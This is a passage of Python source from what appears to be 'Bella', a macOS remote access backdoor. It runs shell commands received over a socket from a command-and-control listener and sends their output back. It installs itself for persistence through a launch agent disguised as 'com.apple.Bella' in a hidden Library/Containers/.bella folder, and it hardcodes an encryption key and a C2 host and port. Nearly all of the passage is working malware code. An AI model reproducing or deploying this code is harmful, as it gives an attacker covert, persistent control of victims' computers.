| send_msg('Error-MB-Pro -> Error', True) 2016 | continue 2017 | send_msg(output[1], True) 2018 | 2019 | else: 2020 | try: 2021 | blocking = False 2022 | blockers = ['sudo', 'nano', 'ftp', 'emacs', 'telnet', 'caffeinate', 'ssh'] #the best i can do for now ... 2023 | for x in blockers: 2024 | if x in data: 2025 | send_msg('%s[%s] is a blocking command. It will not run.\n' % (yellow_star, x), True) 2026 | blocking = True 2027 | break 2028 | if not blocking: 2029 | proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) 2030 | ####### MAKE THIS A GLOBAL RUNNER FUNCTION THAT WILL BE USED IN LIEU OF ALL CHECK_OUTPUTS ####### 2031 | done = False 2032 | while proc.poll() == None: 2033 | bellaConnection.settimeout(0.0) #set socket to non-blocking (dont wait for data) 2034 | try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP 2035 | if recv_msg(bellaConnection) == 'sigint9kill': 2036 | sys.stdout.flush() 2037 | proc.terminate() 2038 | send_msg('terminated', True) #send back confirmation along with STDERR 2039 | done = True 2040 | bellaConnection.settimeout(None) 2041 | break 2042 | except socket.error as e: #no message, business as usual 2043 | pass 2044 | bellaConnection.settimeout(None) 2045 | 2046 | line = proc.stdout.readline() 2047 | if line != "": 2048 | send_msg(line, False) 2049 | else: 2050 | #at this point we are done with the loop, can get / send stderr 2051 | send_msg(line + proc.communicate()[1], True) 2052 | done = True 2053 | break 2054 | if not done: 2055 | send_msg(proc.stdout.read() + proc.stderr.read(), True) 2056 | 2057 | except socket.error, e: 2058 | if e[0] == 32: 2059 | print "Listener disconnected, broken pipe." 2060 | pass 2061 | except Exception as e: 2062 | print e 2063 | send_msg(str(e), True) 2064 | 2065 | except socket.error, e: 2066 | traceback.print_exc() 2067 | subprocess_cleanup() 2068 | print repr(e) 2069 | if e[0] == 54: 2070 | print "Listener disconnected, connection reset" 2071 | pass 2072 | break 2073 | 2074 | except Exception: 2075 | #any error here will be unrelated to socket malfunction. 2076 | bella_error = traceback.format_exc() 2077 | print bella_error 2078 | send_msg('%sMalfunction:\n```\n%s%s%s\n```\n' % (red_minus, red, bella_error, endANSI), True) #send error to CC, then continue 2079 | continue 2080 | try: 2081 | bellaConnection.close() 2082 | except: 2083 | pass 2084 | 2085 | ##### Below variables are global scopes that are accessed by most of the methods in Bella. Should make a class structure ##### 2086 | endANSI = '\001\033[0m\002' 2087 | bold = '\001\033[1m\002' 2088 | underline = '\001\033[4m\022' 2089 | red_minus = '\001\033[31m\002[-] %s' % endANSI 2090 | greenPlus = '\001\033[92m\002[+] %s' % endANSI 2091 | blue_star = '\001\033[94m\002[*] %s' % endANSI 2092 | yellow_star = '\001\033[93m\002[*] %s' % endANSI 2093 | violet = '\001\033[95m\002' 2094 | blue = '\001\033[94m\002' 2095 | light_blue = '\001\033[34m\002' 2096 | green = '\001\033[92m\002' 2097 | dark_green = '\001\033[32m\002' 2098 | yellow = '\001\033[93m\002' 2099 | red = '\001\033[31m\002' 2100 | bella_error = '' 2101 | cryptKey = 'edb0d31838fd883d3f5939d2ecb7e28c' 2102 | try: 2103 | computer_name = subprocess.check_output('scutil --get LocalHostName', shell=True).replace('\n', '') 2104 | except: 2105 | computer_name = platform.node() 2106 | 2107 | if os.getuid() == 0: 2108 | bella_user = cur_GUI_user() 2109 | bella_UID = pwd.getpwnam(bella_user).pw_uid 2110 | else: 2111 | bella_user = getpass.getuser() 2112 | bella_UID = pwd.getpwnam(bella_user).pw_uid 2113 | 2114 | bellaPID = os.getpid() 2115 | 2116 | launch_agent_name = 'com.apple.Bella' 2117 | bella_folder = 'Containers/.bella' 2118 | if os.getuid() == 0: 2119 | home_path = '' 2120 | else: 2121 | home_path = os.path.expanduser('~') 2122 | 2123 | if '/'.join(os.path.abspath(__file__).split('/')[:-1]).lower() != ('%s/Library/%s' % (home_path, bella_folder)).lower(): #then set up and load agents, etc 2124 | print '[%s], [%s]' % ('/'.join(os.path.abspath(__file__).split('/')[:-1]).lower(), ('%s/Library/%s' % (home_path, bella_folder)).lower()) 2125 | print 'Bella is not in the proper folder. Resetting' 2126 | create_bella_helpers(launch_agent_name, bella_folder, home_path) 2127 | 2128 | helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/' 2129 | payload_list = [] 2130 | temp_file_list = [] 2131 | host = '127.0.0.1' #Command and Control IP (listener will run on) 2132 | port = 4545 #What port Bella will operate over 2133 | 2134 | #### End global variables #### 2135 | if __name__ == '__main__': 2136 | bella() --------------------------------------------------------------------------------